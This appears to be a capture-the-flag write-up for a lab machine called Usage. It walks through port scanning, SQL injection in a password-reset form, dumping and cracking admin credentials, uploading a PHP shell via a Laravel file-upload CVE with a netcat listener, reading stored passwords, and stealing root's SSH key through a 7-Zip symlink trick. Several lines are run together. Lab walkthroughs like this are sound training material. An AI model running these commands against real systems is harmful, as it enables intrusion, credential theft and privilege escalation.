The initial reconnaissance phase began with a comprehensive Nmap scan to identify open ports and services.
export target=10.129.7.62
sudo nmap -p- --min-rate 5000 -sT -vvv $target
Scan Results:
A follow-up service version detection scan was performed:
sudo nmap -sC -sV -p 22,80 -T4 $target
The web service running on port 80 revealed a domain-based application. Added the domain to /etc/hosts:
echo "10.129.7.62 usage.htb" | sudo tee -a /etc/hosts
Using FFUF for subdomain enumeration:
ffuf -c -u 'http://usage.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.usage.htb' -fs 178
Discovered Subdomain:
admin.usage.htbAdded the subdomain to /etc/hosts:
echo "10.129.7.62 admin.usage.htb" | sudo tee -a /etc/hosts
The main application at http://usage.htb featured:
registering self at http://usage.htb/registration
Note:visiting http://usage.htb/forget-password password reset form when we enter the correct mail we get “We have e-mailed your password reset link to user@mail.com”
Note:when we give non existant mail we get “Email address does not match in our records!”
The password reset functionality at http://usage.htb/forget-password was vulnerable to SQL injection:
Vulnerable Parameter: email
Proof of Concept:
' or 1=1;-- -
Using SQLMap for automated exploitation:
sqlmap -r forget.req --batch --level 5 --risk 3 -p email --threads 10
forget.req
sqlmap -r forget.req --batch --level 5 --risk 3 -p email --threads 10 --dbs
Discovered Databases:
information_schemaperformance_schemausage_blogEnumerating tables in the usage_blog database:
sqlmap -r forget.req --batch --level 5 --risk 3 -p email --threads 10 -D usage_blog --tables
Key Tables Identified:
admin_usersusersblogExtracting table names:
sqlmap -r forget.req --batch --level 5 --risk 3 -p email --threads 10 -D usage_blog --tables
Extracting administrator credentials:
sqlmap -r forget.req --batch --level 5 --risk 3 -p email --threads 10 -D usage_blog -T admin_users --dump
Administrator Credentials:
admin$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2Using Hashcat to crack the bcrypt hash:
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
Cracked Password: whatever1
Successfully logged into the admin panel at http://admin.usage.htb/ using the credentials:
adminwhatever1Technology Stack Identified:
Laravel v10.18.0 was vulnerable to CVE-2023-24249 (Arbitrary File Upload).
Exploitation Steps:
nc -nlvp 4444hello.php.png to hello.phphttp://admin.usage.htb/uploads/images/hello.phpdashUpgraded to a fully interactive TTY shell for better control.
Located and captured the user flag:
cat /home/dash/user.txt
User Flag: e3113fbd4c794577f05fcb58f98cc3eb
Discovered Monit configuration file with credentials:
cat /home/dash/.monitrc
Discovered Credentials:
admin3nc0d3d_pa$$w0rdIdentified system users:
cat /etc/passwd | grep 'sh$'
Users with Shell Access:
rootdashxanderUsed discovered credentials to access xander’s account:
su xander
Password: 3nc0d3d_pa$$w0rd
Analyzed sudo privileges for xander:
sudo -l
Sudo Privileges:
/usr/bin/usage_management as root without passwordAnalyzed the privileged binary:
strings /usr/bin/usage_management
Binary Functionality:
/var/www/html/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *Exploited 7-Zip’s wildcard handling vulnerability:
Exploitation Steps:
cd /var/www/html
ln -s /root/.ssh/id_rsa file
touch @file
sudo /usr/bin/usage_management
Selected option 1 (Project Backup)
chmod 600 root_key
ssh -i root_key root@10.129.7.62
Located and captured the root flag:
cat /root/root.txt
Root Flag: 348556f166e6f970b0db614541475b5f
This penetration test demonstrated a comprehensive attack chain:
The attack leveraged multiple security weaknesses including input validation flaws, credential management issues, and improper privilege separation.
This writeup is for educational purposes only. Always ensure you have proper authorization before conducting security testing.